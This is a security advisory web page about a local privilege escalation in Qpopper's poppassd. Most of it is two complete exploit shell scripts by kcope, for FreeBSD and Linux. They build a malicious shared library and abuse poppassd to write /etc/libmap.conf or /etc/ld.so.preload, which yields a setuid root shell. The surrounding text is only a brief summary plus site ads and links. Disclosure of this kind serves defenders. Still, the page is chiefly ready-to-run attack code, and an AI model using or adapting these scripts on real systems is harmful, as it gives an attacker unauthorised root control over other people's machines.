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Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). CanSecWest 2012 2nd Annual Cyber Security Hack In Paris	Qpopper Poppassd Local Root (Linux, FreeBSD, Exploit, ld.so.preload) 25 Sep. 2005    Summary "Poppassd is a program that changes system passwords thus allowing users to change their mail passwords." Lack of proper permission validation allows attackers to gain root privileges and execute arbitrary code using Qpopper poppassd.   Credit: The information has been provided by kcope . Website Security Scan Code Vulnerability Test Network Assessment Tool Detect hidden vulnerabilities Exhaustive automated testing Real-time, continuous security Get guidance from professionals of internal or 3rd party code. scanning for your entire network    Details Protect your website! Use an External Vulnerability Scanner! Nothing to install. First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner FreeBSD Exploit: #!/bin/sh ###################################### # FreeBSD Qpopper poppassd latest version local r00t exploit by kcope ## # tested on FreeBSD 5.4-RELEASE ## ###################################### POPPASSD_PATH=/usr/local/bin/poppassd HOOKLIB=libutil.so.4 echo "" echo "FreeBSD Qpopper poppassd latest version local r00t exploit by kcope" echo "" sleep 2 umask 0000 if [ -f /etc/libmap.conf ]; then echo "OOPS /etc/libmap.conf already exists.. exploit failed!" exit fi cat > program.c << _EOF #include <unistd.h> #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() {   if (!geteuid()) {   remove("/etc/libmap.conf");   execl("/bin/sh","sh","-c","/bin/cp /bin/sh /tmp/xxxx ; /bin/chmod +xs /tmp/xxxx",NULL);   } } _EOF gcc -o program.o -c program.c -fPIC gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0 echo "--- Now type ENTER ---" echo "" $POPPASSD_PATH -t /etc/libmap.conf echo $HOOKLIB ../../../../../../tmp/libno_ex.so.1.0 > /etc/libmap.conf su if [ -f /tmp/xxxx ]; then echo "IT'S A ROOTSHELL!!!" /tmp/xxxx else echo "Sorry, exploit failed." fi #EoF Linux Exploit: #!/bin/sh ###################################### # Linux Qpopper poppassd latest version local r00t exploit by kcope ## # August 2005 ## # Confidential - Keep Private! ## ###################################### POPPASSD_PATH=/usr/local/bin/poppassd echo "" echo "Linux Qpopper poppassd latest version local r00t exploit by kcope" echo "" sleep 2 umask 0000 if [ -f /etc/ld.so.preload ]; then echo "OOPS /etc/ld.so.preload already exists.. exploit failed!" exit fi cat > program.c << _EOF #include <unistd.h> #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() {   if (!geteuid()) {   setgid(0);   setuid(0);   remove("/etc/ld.so.preload");   execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);   } } _EOF gcc -o program.o -c program.c -fPIC gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles cat > suid.c << _EOF int main(void) {         setgid(0); setuid(0);         unlink("/tmp/suid");         execl("/bin/sh","sh",0); } _EOF gcc -o /tmp/suid suid.c cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0 echo "--- Now type ENTER ---" echo "" $POPPASSD_PATH -t /etc/ld.so.preload echo /tmp/libno_ex.so.1.0 > /etc/ld.so.preload su if [ -f /tmp/suid ]; then echo "IT'S A ROOTSHELL!!!" /tmp/suid else echo "Sorry, exploit failed." fi #EoF  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles Microsoft Windows shmedia.dll Division By Zero, Explore.exe DOS Exploit IGSS 8 ODBC Server Multiple Remote Uninitialized Pointer Free DoS Progea Movicon TCPUploadServer Remote Exploit Trango Broadband Wireless Rogue SU Authentication Bug Exposing HMS HICP Protocol and Intellicom NetBiterConfig.exe Remote Buffer Overflow Family Connections Multiple Remote Vulnerabilities VideoCache vccleaner Root Vulnerability QuickHeal Antivirus 2010 Local Privilege Escalation DubSite CMS Cross Site Request Forgery Vulnerability SonicWall Global Management System XSS Vulnerability Sonicwall NSA E7500 XSS Vulnerability Juniper Security Threat Response Manager XSS Vulnerability Hacking CSRF Tokens using CSS History Hack Sun Java System Identiy Manager Users Enumeration Microsoft Internet Explorer XML Buffer Overflow (Exploit)  Featured Articles ProFTPD Response Pool Use-After-Free Code Execution Vulnerability HP Data Protector Notebook Extension LogClientInstallation SQL Injection Vulnerabilty GE Proficy Historian ihDataArchiver.exe Trusted Header Size Code Execution Vulnerability Novell ZENWorks Software Packaging Antique ActiveX Control Code Execution Vulnerability Adobe Reader U3D IFF RGBA Parsing Code Execution Vulnerability Adobe Reader U3D PCX Parsing Code Execution Vulnerability Cisco Unified Service Monitor brstart add_dm Code Execution Vulnerability
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